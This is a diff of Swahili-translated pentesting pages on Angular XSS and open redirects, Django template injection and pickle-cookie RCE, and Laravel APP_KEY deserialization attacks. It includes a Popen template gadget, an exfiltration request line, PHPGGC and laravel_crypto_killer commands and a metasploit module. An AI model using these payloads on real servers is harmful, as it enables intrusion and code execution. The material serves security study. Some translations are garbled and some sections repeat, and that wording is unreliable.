@ -189,7 +189,7 @@ this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: u
|
||||
Request URL: GET example.com/exfil/a
|
||||
```
|
||||
|
||||
Angular inatoa mbinu ya `sanitize` kusafisha data kabla ya kuonyesha katika maoni. Mbinu hii inatumia muktadha wa usalama uliotolewa na kusafisha pembejeo ipasavyo. Hata hivyo, ni muhimu kutumia muktadha sahihi wa usalama kwa data na muktadha maalum. Kwa mfano, kutumia msafishaji na `SecurityContext.URL` kwenye maudhui ya HTML hakupatii ulinzi dhidi ya thamani hatari za HTML. Katika hali kama hizo, matumizi mabaya ya muktadha wa usalama yanaweza kusababisha udhaifu wa XSS.
|
||||
Angular inatoa mbinu ya `sanitize` kusafisha data kabla ya kuonyesha katika maoni. Mbinu hii inatumia muktadha wa usalama uliopewa na kusafisha pembejeo ipasavyo. Hata hivyo, ni muhimu kutumia muktadha sahihi wa usalama kwa data na muktadha maalum. Kwa mfano, kutumia msafishaji na `SecurityContext.URL` kwenye maudhui ya HTML hakutoa ulinzi dhidi ya thamani hatari za HTML. Katika hali kama hizo, matumizi mabaya ya muktadha wa usalama yanaweza kusababisha udhaifu wa XSS.
|
||||
|
||||
### Kuingiza HTML
|
||||
|
||||
@ -231,9 +231,9 @@ template: '<h1>title</h1>' + _userInput
|
||||
```
|
||||
Kama ilivyoonyeshwa hapo juu: `constructor` inahusisha upeo wa mali ya Object `constructor`, ikituwezesha kuita mjenzi wa String na kutekeleza msimbo wowote.
|
||||
|
||||
#### Uwasilishaji wa Kwanza wa Server (SSR)
|
||||
#### Uwasilishaji wa Kwanza wa Seva (SSR)
|
||||
|
||||
Tofauti na CSR, ambayo inatokea katika DOM ya kivinjari, Angular Universal inawajibika kwa SSR ya faili za templeti. Faili hizi kisha zinawasilishwa kwa mtumiaji. Licha ya tofauti hii, Angular Universal inatumia mitindo ile ile ya kusafisha inayotumika katika CSR ili kuboresha usalama wa SSR. Uwezo wa kuingiza templeti katika SSR unaweza kugundulika kwa njia ile ile kama katika CSR, kwa sababu lugha ya templeti inayotumika ni ile ile.
|
||||
Tofauti na CSR, ambayo inatokea katika DOM ya kivinjari, Angular Universal inawajibika kwa SSR ya faili za templeti. Faili hizi kisha zinawasilishwa kwa mtumiaji. Licha ya tofauti hii, Angular Universal inatumia mitambo ile ile ya kusafisha inayotumika katika CSR ili kuboresha usalama wa SSR. Uwezo wa kuingiza templeti katika SSR unaweza kugundulika kwa njia ile ile kama katika CSR, kwa sababu lugha ya templeti inayotumika ni ile ile.
|
||||
|
||||
Kwa kweli, pia kuna uwezekano wa kuanzisha udhaifu mpya wa kuingiza templeti wakati wa kutumia injini za templeti za upande wa tatu kama Pug na Handlebars.
|
||||
|
||||
@ -296,7 +296,7 @@ document.body.appendChild(a);
|
||||
|
||||
Kuna madarasa kadhaa ambayo yanaweza kutumika kufanya kazi na vipengele vya DOM katika Angular: `ElementRef`, `Renderer2`, `Location` na `Document`. Maelezo ya kina ya madarasa mawili ya mwisho yanatolewa katika sehemu ya **Open redirects**. Tofauti kuu kati ya ya kwanza ni kwamba API ya `Renderer2` inatoa safu ya uabstraction kati ya kipengele cha DOM na msimbo wa kipengele, wakati `ElementRef` inashikilia tu rejeleo kwa kipengele. Hivyo, kulingana na nyaraka za Angular, API ya `ElementRef` inapaswa kutumika tu kama njia ya mwisho wakati ufikiaji wa moja kwa moja wa DOM unahitajika.
|
||||
|
||||
* `ElementRef` ina mali `nativeElement`, ambayo inaweza kutumika kubadilisha vipengele vya DOM. Hata hivyo, matumizi yasiyo sahihi ya `nativeElement` yanaweza kusababisha udhaifu wa XSS injection, kama inavyoonyeshwa hapa chini:
|
||||
* `ElementRef` ina mali ya `nativeElement`, ambayo inaweza kutumika kubadilisha vipengele vya DOM. Hata hivyo, matumizi yasiyo sahihi ya `nativeElement` yanaweza kusababisha udhaifu wa XSS injection, kama inavyoonyeshwa hapa chini:
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -317,7 +317,7 @@ this.elementRef.nativeElement.appendChild(s);
|
||||
}
|
||||
}
|
||||
```
|
||||
* Ingawa `Renderer2` inatoa API ambayo inaweza kutumika kwa usalama hata wakati ufikiaji wa moja kwa moja wa vipengele vya asili haukubaliwi, bado ina mapungufu fulani ya usalama. Kwa `Renderer2`, inawezekana kuweka sifa kwenye kipengele cha HTML kwa kutumia njia ya `setAttribute()`, ambayo haina mitambo ya kuzuia XSS.
|
||||
* Ingawa `Renderer2` inatoa API ambayo inaweza kutumika kwa usalama hata wakati ufikiaji wa moja kwa moja wa vipengele vya asili haupo, bado ina mapungufu fulani ya usalama. Kwa `Renderer2`, inawezekana kuweka sifa kwenye kipengele cha HTML kwa kutumia njia ya `setAttribute()`, ambayo haina mitambo ya kuzuia XSS.
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -377,7 +377,7 @@ Wakati wa utafiti wetu, pia tulichunguza tabia ya mbinu nyingine za `Renderer2`,
|
||||
|
||||
#### jQuery
|
||||
|
||||
jQuery ni maktaba ya JavaScript yenye kasi, ndogo, na yenye vipengele vingi ambayo inaweza kutumika katika mradi wa Angular kusaidia na kubadilisha vitu vya HTML DOM. Hata hivyo, kama inavyojulikana, mbinu za maktaba hii zinaweza kutumika vibaya ili kufikia udhaifu wa XSS. Ili kujadili jinsi baadhi ya mbinu dhaifu za jQuery zinavyoweza kutumika katika miradi ya Angular, tumeongeza sehemu hii.
|
||||
jQuery ni maktaba ya JavaScript yenye kasi, ndogo, na yenye vipengele vingi ambayo inaweza kutumika katika mradi wa Angular kusaidia na kubadilisha vitu vya HTML DOM. Hata hivyo, kama inavyojulikana, mbinu za maktaba hii zinaweza kutumika vibaya ili kufikia udhaifu wa XSS. Ili kujadili jinsi baadhi ya mbinu za jQuery zenye udhaifu zinaweza kutumika katika miradi ya Angular, tumeongeza sehemu hii.
|
||||
|
||||
* Mbinu ya `html()` inapata maudhui ya HTML ya kipengele cha kwanza katika seti ya vipengele vilivyolingana au kuweka maudhui ya HTML ya kila kipengele kilicholingana. Hata hivyo, kwa muundo, mjenzi wowote wa jQuery au mbinu inayokubali mfuatano wa HTML inaweza kutekeleza msimbo. Hii inaweza kutokea kwa kuingiza vitambulisho vya `<script>` au kutumia sifa za HTML zinazotekeleza msimbo kama inavyoonyeshwa katika mfano.
|
||||
|
||||
@ -467,10 +467,10 @@ window.location.href = "https://google.com/about"
|
||||
<button type="button" (click)="goToUrl()">Click me!</button>
|
||||
```
|
||||
|
||||
Mchakato wa unyanyasaji ni sawa kwa hali zifuatazo.
|
||||
Mchakato wa kutumia udhaifu ni sawa kwa hali zifuatazo.
|
||||
* `window.location.assign()`(na `document.location.assign()`)
|
||||
|
||||
Mbinu hii inasababisha dirisha kupakia na kuonyesha hati kwenye URL iliyotajwa. Ikiwa tuna udhibiti juu ya mbinu hii, inaweza kuwa mahali pa shambulio la kuhamasisha wazi.
|
||||
Mbinu hii inasababisha dirisha kupakia na kuonyesha hati kwenye URL iliyotolewa. Ikiwa tuna udhibiti juu ya mbinu hii, inaweza kuwa njia ya shambulio la kuhamasisha wazi.
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -483,9 +483,9 @@ window.location.assign("https://google.com/about")
|
||||
```
|
||||
* `window.location.replace()`(na `document.location.replace()`)
|
||||
|
||||
Mbinu hii inachukua rasilimali ya sasa na ile iliyo kwenye URL iliyotolewa.
|
||||
Mbinu hii inachukua rasilimali ya sasa na kuibadilisha na ile iliyo kwenye URL iliyotolewa.
|
||||
|
||||
Hii inatofautiana na mbinu ya `assign()` kwamba baada ya kutumia `window.location.replace()`, ukurasa wa sasa hautahifadhiwa katika Historia ya kikao. Hata hivyo, pia inawezekana kutumia udhaifu wa kuhamasisha wazi tunapokuwa na udhibiti juu ya mbinu hii.
|
||||
Hii inatofautiana na mbinu ya `assign()` kwa kuwa baada ya kutumia `window.location.replace()`, ukurasa wa sasa hautahifadhiwa katika Historia ya kikao. Hata hivyo, pia inawezekana kutumia udhaifu wa kuhamasisha wazi tunapokuwa na udhibiti juu ya mbinu hii.
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -512,7 +512,7 @@ window.open("https://google.com/about", "_blank")
|
||||
|
||||
#### Madarasa ya Angular
|
||||
|
||||
* Kulingana na nyaraka za Angular, Angular `Document` ni sawa na hati ya DOM, ambayo inamaanisha inawezekana kutumia njia za kawaida za hati ya DOM ili kutumia udhaifu wa upande wa mteja katika Angular. Mali na mbinu za `Document.location` zinaweza kuwa mahali pa mashambulizi ya kuhamasisha wazi kama inavyoonyeshwa katika mfano:
|
||||
* Kulingana na nyaraka za Angular, `Document` ya Angular ni sawa na hati ya DOM, ambayo inamaanisha inawezekana kutumia njia za kawaida za hati ya DOM ili kutumia udhaifu wa upande wa mteja katika Angular. Mali na mbinu za `Document.location` zinaweza kuwa njia za shambulio za mafanikio ya kuhamasisha wazi kama inavyoonyeshwa katika mfano:
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -535,7 +535,7 @@ this.document.location.href = 'https://google.com/about';
|
||||
//app.component.html
|
||||
<button type="button" (click)="goToUrl()">Click me!</button>
|
||||
```
|
||||
* Wakati wa awamu ya utafiti, pia tulikagua darasa la Angular `Location` kwa udhaifu wa kuhamasisha wazi, lakini hatukuweza kupata njia halali. `Location` ni huduma ya Angular ambayo programu zinaweza kutumia kuingiliana na URL ya sasa ya kivinjari. Huduma hii ina mbinu kadhaa za kubadilisha URL iliyotolewa - `go()`, `replaceState()`, na `prepareExternalUrl()`. Hata hivyo, hatuwezi kuzitumia kwa kuhamasisha kwenye kikoa cha nje. Kwa mfano:
|
||||
* Wakati wa awamu ya utafiti, pia tulikagua darasa la Angular `Location` kwa udhaifu wa kuhamasisha wazi, lakini hatukuona njia halali. `Location` ni huduma ya Angular ambayo programu zinaweza kutumia kuingiliana na URL ya sasa ya kivinjari. Huduma hii ina mbinu kadhaa za kubadilisha URL iliyotolewa - `go()`, `replaceState()`, na `prepareExternalUrl()`. Hata hivyo, hatuwezi kuzitumia kwa kuhamasisha kwenye kikoa cha nje. Kwa mfano:
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -606,4 +606,4 @@ this.router.navigateByUrl('URL')
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,11 +1,11 @@
|
||||
# Django
|
||||
|
||||
{{#include /src/banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cache Manipulation to RCE
|
||||
Njia ya kuhifadhi cache ya Django ya kawaida ni [Python pickles](https://docs.python.org/3/library/pickle.html), ambayo inaweza kusababisha RCE ikiwa [ingizo lisiloaminika limeondolewa](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Ikiwa mshambuliaji anaweza kupata ufikiaji wa kuandika kwenye cache, wanaweza kupeleka udhaifu huu hadi RCE kwenye seva ya msingi**.
|
||||
|
||||
Cache ya Django inahifadhiwa katika moja ya maeneo manne: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [kumbukumbu](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [faili](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), au [hifadhidata](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache iliyohifadhiwa kwenye seva ya Redis au hifadhidata ndiyo njia za shambulio zinazoweza kutokea (Redis injection na SQL injection), lakini mshambuliaji pia anaweza kutumia cache ya faili kubadilisha kuandika bila mpangilio kuwa RCE. Wajibu wameashiria hili kama si tatizo. Ni muhimu kutambua kwamba folda ya faili la cache, jina la jedwali la SQL, na maelezo ya seva ya Redis yatatofautiana kulingana na utekelezaji.
|
||||
Cache ya Django inahifadhiwa katika moja ya maeneo manne: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [kumbukumbu](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [faili](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), au [hifadhidata](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache iliyohifadhiwa kwenye seva ya Redis au hifadhidata ndiyo njia za shambulio zinazoweza kutokea (Redis injection na SQL injection), lakini mshambuliaji pia anaweza kutumia cache ya msingi wa faili kubadilisha kuandika kwa njia isiyo ya kawaida kuwa RCE. Wajibu wameashiria hili kama si tatizo. Ni muhimu kutambua kwamba folda ya faili la cache, jina la meza ya SQL, na maelezo ya seva ya Redis yatatofautiana kulingana na utekelezaji.
|
||||
|
||||
Ripoti hii ya HackerOne inatoa mfano mzuri, unaoweza kurudiwa wa kutumia cache ya Django iliyohifadhiwa kwenye hifadhidata ya SQLite: https://hackerone.com/reports/1415436
|
||||
|
||||
@ -31,14 +31,14 @@ Pata index ya `subprocess.Popen` (≈400–500 kulingana na ujenzi wa Python) na
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
|
||||
```
|
||||
A safer universal gadget is to iterate until `cls.__name__ == 'Popen'`.
|
||||
A safer universal gadget ni kurudia hadi `cls.__name__ == 'Popen'`.
|
||||
|
||||
The same gadget works for **Debug Toolbar** or **Django-CMS** template rendering features that mishandle user input.
|
||||
Gadget hiyo hiyo inafanya kazi kwa **Debug Toolbar** au **Django-CMS** vipengele vya uwasilishaji wa templeti ambavyo vinashughulikia pembejeo za mtumiaji vibaya.
|
||||
|
||||
---
|
||||
|
||||
## Pickle-Backed Session Cookie RCE
|
||||
Ikiwa mipangilio `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` imewezeshwa (au serializer maalum inayofanya deserialization ya pickle), Django *inafichua na kuondoa pickle* kwenye cookie ya kikao **kabla** ya kuita msimbo wowote wa mtazamo. Hivyo, kuwa na funguo halali za kusaini (mfunguo wa `SECRET_KEY` wa mradi kwa kawaida) inatosha kwa utekelezaji wa msimbo wa mbali mara moja.
|
||||
Ikiwa mipangilio `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` imewezeshwa (au serializer maalum inayofanya deserialization ya pickle), Django *inafichua na kuondoa pickle* kwenye cookie ya kikao **kabla** ya kuita msimbo wowote wa mtazamo. Hivyo basi, kuwa na funguo halali ya kusaini (mipangilio `SECRET_KEY` ya mradi kwa kawaida) inatosha kwa utekelezaji wa msimbo wa mbali mara moja.
|
||||
|
||||
### Mahitaji ya Kutekeleza
|
||||
* Server inatumia `PickleSerializer`.
|
||||
@ -60,20 +60,20 @@ print(f"sessionid={mal}")
|
||||
```
|
||||
Tuma cookie inayofuata, na payload inafanya kazi kwa ruhusa za mfanyakazi wa WSGI.
|
||||
|
||||
**Mikakati ya Kuzuia**: Hifadhi `JSONSerializer` ya default, badilisha `SECRET_KEY`, na sanidi `SESSION_COOKIE_HTTPONLY`.
|
||||
**Mikakati ya Kuzuia**: Hifadhi `JSONSerializer` ya chaguo-msingi, badilisha `SECRET_KEY`, na sanidi `SESSION_COOKIE_HTTPONLY`.
|
||||
|
||||
---
|
||||
|
||||
## CVEs za Juu za Django za Athari Kuu za Hivi Karibuni (2023-2025) Ambazo Pentesters Wanapaswa Kuangalia
|
||||
* **CVE-2025-48432** – *Log Injection kupitia `request.path` isiyo na kukwepa* (imefanyiwa marekebisho Juni 4 2025). Inawawezesha washambuliaji kusafirisha newlines/ANSI codes kwenye faili za log na kuharibu uchambuzi wa log za chini. Kiwango cha patch ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||||
* **CVE-2024-42005** – *Kuingilia kwa SQL muhimu* katika `QuerySet.values()/values_list()` kwenye `JSONField` (CVSS 9.8). Tengeneza funguo za JSON kuvunja kutoka kwa kunukuu na kutekeleza SQL isiyo na mipaka. Imefanyiwa marekebisho katika 4.2.15 / 5.0.8.
|
||||
## CVEs za Juu za Django za Karibuni (2023-2025) Ambazo Pentesters Wanapaswa Kuangalia
|
||||
* **CVE-2025-48432** – *Kuingiza Kumbukumbu kupitia `request.path` isiyo na kuepukwa* (imefanyiwa marekebisho Juni 4 2025). Inawawezesha washambuliaji kusafirisha mistari mipya/kanuni za ANSI kwenye faili za kumbukumbu na kuharibu uchambuzi wa kumbukumbu wa chini. Kiwango cha patch ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||||
* **CVE-2024-42005** – *Kuingiza Kumbukumbu ya SQL ya Kihistoria* katika `QuerySet.values()/values_list()` kwenye `JSONField` (CVSS 9.8). Tengeneza funguo za JSON kuvunja kutoka kwa kunukuu na kutekeleza SQL isiyo ya kawaida. Imefanyiwa marekebisho katika 4.2.15 / 5.0.8.
|
||||
|
||||
Daima tambua toleo halisi la mfumo kupitia ukurasa wa makosa wa `X-Frame-Options` au hash ya `/static/admin/css/base.css` na jaribu yaliyo hapo juu inapofaa.
|
||||
|
||||
---
|
||||
|
||||
## Marejeleo
|
||||
* Toleo la usalama la Django – "Django 5.2.2, 5.1.10, 4.2.22 anashughulikia CVE-2025-48432" – 4 Juni 2025.
|
||||
* OP-Innovate: "Django inatoa masasisho ya usalama kushughulikia kasoro ya kuingilia SQL CVE-2024-42005" – 11 Agosti 2024.
|
||||
* Toleo la usalama la Django – "Django 5.2.2, 5.1.10, 4.2.22 anashughulikia CVE-2025-48432" – 4 Jun 2025.
|
||||
* OP-Innovate: "Django inatoa masasisho ya usalama kushughulikia kasoro ya kuingiza SQL CVE-2024-42005" – 11 Aug 2024.
|
||||
|
||||
{{#include /src/banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# Laravel
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### Laravel SQLInjection
|
||||
|
||||
@ -8,9 +8,9 @@ Soma habari kuhusu hii hapa: [https://stitcher.io/blog/unsafe-sql-functions-in-l
|
||||
|
||||
---
|
||||
|
||||
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
|
||||
## APP_KEY & Msingi wa Uthibitishaji (Laravel \u003e=5.6)
|
||||
|
||||
Laravel inatumia AES-256-CBC (au GCM) na HMAC integrity chini ya uso (`Illuminate\\Encryption\\Encrypter`).
|
||||
Laravel inatumia AES-256-CBC (au GCM) na HMAC uaminifu chini ya uso (`Illuminate\\Encryption\\Encrypter`).
|
||||
Ciphertext safi ambayo hatimaye **inatumwa kwa mteja** ni **Base64 ya kitu cha JSON** kama:
|
||||
```json
|
||||
{
|
||||
@ -20,7 +20,7 @@ Ciphertext safi ambayo hatimaye **inatumwa kwa mteja** ni **Base64 ya kitu cha J
|
||||
"tag" : "" // only used for AEAD ciphers (GCM)
|
||||
}
|
||||
```
|
||||
`encrypt($value, $serialize=true)` itafanya `serialize()` maandiko ya wazi kwa chaguo-msingi, wakati `decrypt($payload, $unserialize=true)` **ita `unserialize()`** thamani iliyokolewa. Hivyo basi **mshambuliaji yeyote anayejua siri ya byte 32 `APP_KEY` anaweza kuunda kitu kilichohifadhiwa cha PHP kilichosimbwa na kupata RCE kupitia mbinu za kichawi (`__wakeup`, `__destruct`, …)**.
|
||||
`encrypt($value, $serialize=true)` itafanya `serialize()` maandiko ya wazi kwa chaguo-msingi, wakati `decrypt($payload, $unserialize=true)` **itautumia kiotomatiki `unserialize()`** thamani iliyofichwa. Hivyo basi **mshambuliaji yeyote anayejua siri ya byte 32 `APP_KEY` anaweza kuunda kitu kilichofichwa cha PHP kilichosajiliwa na kupata RCE kupitia mbinu za kichawi (`__wakeup`, `__destruct`, …)**.
|
||||
|
||||
Minimal PoC (framework ≥9.x):
|
||||
```php
|
||||
@ -51,8 +51,8 @@ The script inasaidia kwa uwazi payloads za CBC na GCM na inazalisha tena uwanja
|
||||
|
||||
## Mifano halisi ya udhaifu
|
||||
|
||||
| Mradi | Kitu kilichoharibika | Mnyororo wa gadget |
|
||||
|-------|----------------------|--------------------|
|
||||
| Mradi | Kitu kinachoweza kuathiriwa | Mnyororo wa gadget |
|
||||
|-------|-----------------------------|--------------------|
|
||||
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie wakati `Passport::withCookieSerialization()` imewezeshwa | Laravel/RCE9 |
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
|
||||
@ -61,7 +61,7 @@ Mchakato wa unyakuzi daima ni:
|
||||
1. Pata `APP_KEY` (mfano wa chaguo-msingi, kuvuja kwa Git, kuvuja kwa config/.env, au brute-force)
|
||||
2. Zalisha gadget na **PHPGGC**
|
||||
3. `laravel_crypto_killer.py encrypt …`
|
||||
4. Toa payload kupitia parameter/cookie iliyoathirika → **RCE**
|
||||
4. Toa payload kupitia parameter/cookie inayoweza kuathiriwa → **RCE**
|
||||
|
||||
---
|
||||
|
||||
@ -72,10 +72,10 @@ Kwa sababu kila jibu jipya la Laravel linaweka angalau cookie 1 iliyosimbwa (`XS
|
||||
Matokeo muhimu ya utafiti uliochapishwa na Synacktiv (2024-2025):
|
||||
* Dataset Julai 2024 » 580 k tokens, **3.99 % funguo zimevunjwa** (≈23 k)
|
||||
* Dataset Mei 2025 » 625 k tokens, **3.56 % funguo zimevunjwa**
|
||||
* >1 000 seva bado zina udhaifu kwa CVE-2018-15133 ya zamani kwa sababu tokens moja kwa moja zina data iliyosimbwa.
|
||||
* >1 000 seva bado zina udhaifu kwa CVE-2018-15133 ya zamani kwa sababu tokens zinajumuisha moja kwa moja data iliyosimbwa.
|
||||
* Matumizi makubwa ya funguo – Top-10 APP_KEYs zimeandikwa kwa chaguo-msingi ambazo zimesambazwa na templeti za kibiashara za Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
|
||||
|
||||
Zana ya kibinafsi ya Go **nounours** inasukuma throughput ya AES-CBC/GCM bruteforce hadi ~1.5 bilioni majaribio/s, ikipunguza uvunjaji wa dataset kamili kuwa <2 dakika.
|
||||
Zana ya kibinafsi ya Go **nounours** inasukuma throughput ya AES-CBC/GCM brute-force hadi ~1.5 bilioni majaribio/s, ikipunguza muda wa kuvunja dataset kamili hadi <2 dakika.
|
||||
|
||||
---
|
||||
|
||||
@ -85,29 +85,26 @@ Zana ya kibinafsi ya Go **nounours** inasukuma throughput ya AES-CBC/GCM brutefo
|
||||
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
|
||||
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
## Laravel Tricks
|
||||
|
||||
### Modu ya Debugging
|
||||
|
||||
## Hila za Laravel
|
||||
|
||||
### Hali ya upelelezi
|
||||
|
||||
Ikiwa Laravel iko katika **hali ya upelelezi** utaweza kufikia **kod** na **data nyeti**.\
|
||||
Ikiwa Laravel iko katika **modu ya debugging** utaweza kufikia **code** na **data nyeti**.\
|
||||
Kwa mfano `http://127.0.0.1:8000/profiles`:
|
||||
|
||||
.png>)
|
||||
|
||||
Hii kwa kawaida inahitajika kwa ajili ya kutumia CVEs nyingine za Laravel RCE.
|
||||
Hii kwa kawaida inahitajika kwa ajili ya kutumia udhaifu mwingine wa RCE wa Laravel.
|
||||
|
||||
### .env
|
||||
|
||||
Laravel huhifadhi APP inayotumia kusimbua cookies na akreditif nyingine ndani ya faili inayoitwa `.env` ambayo inaweza kufikiwa kwa kutumia baadhi ya njia za kupita: `/../.env`
|
||||
Laravel huhifadhi APP inayotumia kusimbua cookies na akreditivu nyingine ndani ya faili inayoitwa `.env` ambayo inaweza kufikiwa kwa kutumia baadhi ya njia za kupita: `/../.env`
|
||||
|
||||
Laravel pia itaonyesha habari hii ndani ya ukurasa wa upelelezi (ambao unaonekana wakati Laravel inapata kosa na umewezeshwa).
|
||||
Laravel pia itaonyesha habari hii ndani ya ukurasa wa debug (ambao unaonekana wakati Laravel inapata kosa na umewezeshwa).
|
||||
|
||||
Kwa kutumia APP_KEY ya siri ya Laravel unaweza kusimbua na kusimbua tena cookies:
|
||||
|
||||
### Futa Cookie
|
||||
### Decrypt Cookie
|
||||
```python
|
||||
import os
|
||||
import json
|
||||
@ -173,7 +170,7 @@ Toleo lenye udhaifu: 5.5.40 na 5.6.x kupitia 5.6.29 ([https://www.cvedetails.com
|
||||
Hapa unaweza kupata taarifa kuhusu udhaifu wa deserialization hapa: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
||||
|
||||
Unaweza kujaribu na kutumia kwa kutumia [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
|
||||
Au unaweza pia kutumia metasploit: `use unix/http/laravel_token_unserialize_exec`
|
||||
Au unaweza pia kutumia kwa metasploit: `use unix/http/laravel_token_unserialize_exec`
|
||||
|
||||
### CVE-2021-3129
|
||||
|
||||
@ -191,7 +188,7 @@ Soma taarifa kuhusu hii hapa: [https://stitcher.io/blog/unsafe-sql-functions-in-
|
||||
|
||||
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
|
||||
|
||||
Laravel inatumia AES-256-CBC (au GCM) na HMAC integrity chini ya uso (`Illuminate\\Encryption\\Encrypter`).
|
||||
Laravel inatumia AES-256-CBC (au GCM) na HMAC uadilifu chini ya uso (`Illuminate\\Encryption\\Encrypter`).
|
||||
Ciphertext safi ambayo hatimaye **inatumwa kwa mteja** ni **Base64 ya kitu cha JSON** kama:
|
||||
```json
|
||||
{
|
||||
@ -201,7 +198,7 @@ Ciphertext safi ambayo hatimaye **inatumwa kwa mteja** ni **Base64 ya kitu cha J
|
||||
"tag" : "" // only used for AEAD ciphers (GCM)
|
||||
}
|
||||
```
|
||||
`encrypt($value, $serialize=true)` itafanya `serialize()` maandiko ya wazi kwa chaguo-msingi, wakati `decrypt($payload, $unserialize=true)` **ita `unserialize()`** thamani iliyokolewa kiotomatiki. Hivyo basi **mshambuliaji yeyote anayejua siri ya byte 32 `APP_KEY` anaweza kuunda kitu kilichohifadhiwa cha PHP kilichosimbwa na kupata RCE kupitia mbinu za kichawi (`__wakeup`, `__destruct`, …)**.
|
||||
`encrypt($value, $serialize=true)` itafanya `serialize()` maandiko ya wazi kwa chaguo-msingi, wakati `decrypt($payload, $unserialize=true)` **itautumia kiotomatiki `unserialize()`** thamani iliyofichwa. Hivyo basi **mshambuliaji yeyote anayejua siri ya byte 32 `APP_KEY` anaweza kuunda kitu kilichofichwa cha PHP kilichosajiliwa na kupata RCE kupitia mbinu za kichawi (`__wakeup`, `__destruct`, …)**.
|
||||
|
||||
Minimal PoC (framework ≥9.x):
|
||||
```php
|
||||
@ -210,12 +207,12 @@ use Illuminate\Support\Facades\Crypt;
|
||||
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
|
||||
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
|
||||
```
|
||||
Ingiza mfuatano uliozalishwa kwenye chochote kilicho hatarini `decrypt()` sink (paramu ya njia, cookie, kikao, …).
|
||||
Ingiza string iliyozalishwa kwenye chochote kilichovuja `decrypt()` sink (paramu ya njia, cookie, kikao, …).
|
||||
|
||||
---
|
||||
|
||||
## laravel-crypto-killer 🧨
|
||||
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) inaweka mchakato mzima kuwa otomatiki na kuongeza hali rahisi ya **bruteforce**:
|
||||
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) inafanya mchakato mzima kuwa wa kiotomatiki na kuongeza hali rahisi ya **bruteforce**:
|
||||
```bash
|
||||
# Encrypt a phpggc chain with a known APP_KEY
|
||||
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
|
||||
@ -239,10 +236,10 @@ The script inasaidia kwa uwazi payloads za CBC na GCM na inazalisha tena uwanja
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
|
||||
|
||||
Mchakato wa unyakuzi daima ni:
|
||||
1. Pata `APP_KEY` (mfano wa chaguo-msingi, uvujaji wa Git, uvujaji wa config/.env, au brute-force)
|
||||
1. Pata `APP_KEY` (mfano wa chaguo-msingi, kuvuja kwa Git, kuvuja kwa config/.env, au brute-force)
|
||||
2. Zalisha gadget na **PHPGGC**
|
||||
3. `laravel_crypto_killer.py encrypt …`
|
||||
4. Toa payload kupitia parameter/cookie iliyo hatarini → **RCE**
|
||||
4. Toa payload kupitia parameter/cookie iliyoathirika → **RCE**
|
||||
|
||||
---
|
||||
|
||||
@ -250,13 +247,13 @@ Mchakato wa unyakuzi daima ni:
|
||||
|
||||
Kwa sababu kila jibu jipya la Laravel linaweka angalau cookie 1 iliyosimbwa (`XSRF-TOKEN` na kawaida `laravel_session`), **scanner za umma za mtandao (Shodan, Censys, …) zinavuja mamilioni ya ciphertexts** ambazo zinaweza kushambuliwa bila mtandao.
|
||||
|
||||
